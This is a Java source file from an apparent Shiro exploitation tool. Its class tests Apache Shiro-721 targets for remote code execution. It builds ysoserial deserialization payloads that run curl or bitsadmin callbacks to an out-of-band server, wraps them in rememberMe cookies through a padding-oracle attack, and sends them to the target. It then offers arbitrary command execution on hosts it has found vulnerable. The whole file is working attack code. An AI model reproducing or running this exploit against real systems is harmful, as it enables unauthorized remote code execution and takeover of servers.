package com.shiroexploit.vulnverifier;

import com.shiroexploit.core.PaddingOracle;
import com.shiroexploit.util.*;
import java.io.File;
import java.io.IOException;
import java.util.*;

public class Shiro721VerifierWithOutJRMP implements Verifier {
    private Config config;
    private List<PayloadType> gadgets;
    private boolean flag;


    public Shiro721VerifierWithOutJRMP(){
        System.out.println("[*] Using Shiro721VerifierWithOutJRMP");
        this.config = Config.getInstance();
        this.gadgets = new ArrayList<>();
    }

    @Override
    public void getValidGadget() throws ExploitFailedException {
        for(PayloadType type : PayloadType.values()){
            System.out.println("[*] Trying Gadget: " + type.getName());

            String uuid = UUID.randomUUID().toString().replaceAll("-", "");
            String command;
            if(config.getPlatform() == 0){
                //linux
                command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " + type.getName() + " \"curl http://" + config.getOOBServerAddress()
                        + ":" + config.getHTTPServicePort() + "/gadget?uuid=" + uuid + "&type=" + type.getName() + "\"";

            }else{
                //windows
                command = "bitsadmin /rawreturn /transfer getfile http://" + config.getOOBServerAddress() + ":" + config.getHTTPServicePort()
                        + "/gadget?uuid=" + uuid + "%26type=" + type.getName() + " C:\\windows\\temp\\download_834723.tmp";
                command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " + type.getName() + " \"" + command + "\"";
            }

            byte[] result = Tools.exec(command);
            PaddingOracle paddingOracle = new PaddingOracle(config.getRequestInfo(), result);
            String rememberMe = paddingOracle.encrypt();
            HttpRequest.request(config.getRequestInfo(), rememberMe);

            if(isValid(uuid)){
                this.gadgets.add(type);
                System.out.println("[+] Find Valid Gadget: " + type.getName());
                if(config.isSkipIfFound()){
                    break;
                }
            }
        }

        this.flag = true;
        if(this.gadgets.size() == 0){
            throw new ExploitFailedException("[-] Can't find a valid gadget");
        }
    }

    @Override
    public void executeCmd(String cmd){

        for(PayloadType gadget : this.gadgets){
            System.out.println("[*] Using Gadget " + gadget.getName());
            System.out.println("[*] Executing command: " + cmd + "...");

            String command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " + gadget.getName() + " \"" + cmd + "\"";
            byte[] result = Tools.exec(command);
            PaddingOracle paddingOracle = new PaddingOracle(config.getRequestInfo(), result);
            String rememberMe = null;
            try {
                rememberMe = paddingOracle.encrypt();
            } catch (ExploitFailedException e) {
                e.printStackTrace();
            }
            HttpRequest.request(config.getRequestInfo(), rememberMe);
            System.out.println("[+] Done");
        }
    }

    private boolean isValid(String uuid) throws ExploitFailedException {
        String url = "http://" + config.getOOBServerAddress() + ":" + config.getHTTPServicePort() + "/result";
        String res = null;
        try {
            res = HttpRequest.request(url);
        } catch (IOException e) {
            throw new ExploitFailedException("[-] OOBServer连接失败");
        }
        String[] uuids = res.trim().split(",");
        Set<String> validUUID = new HashSet<>(Arrays.asList(uuids));

        return validUUID.contains(uuid);
    }
}
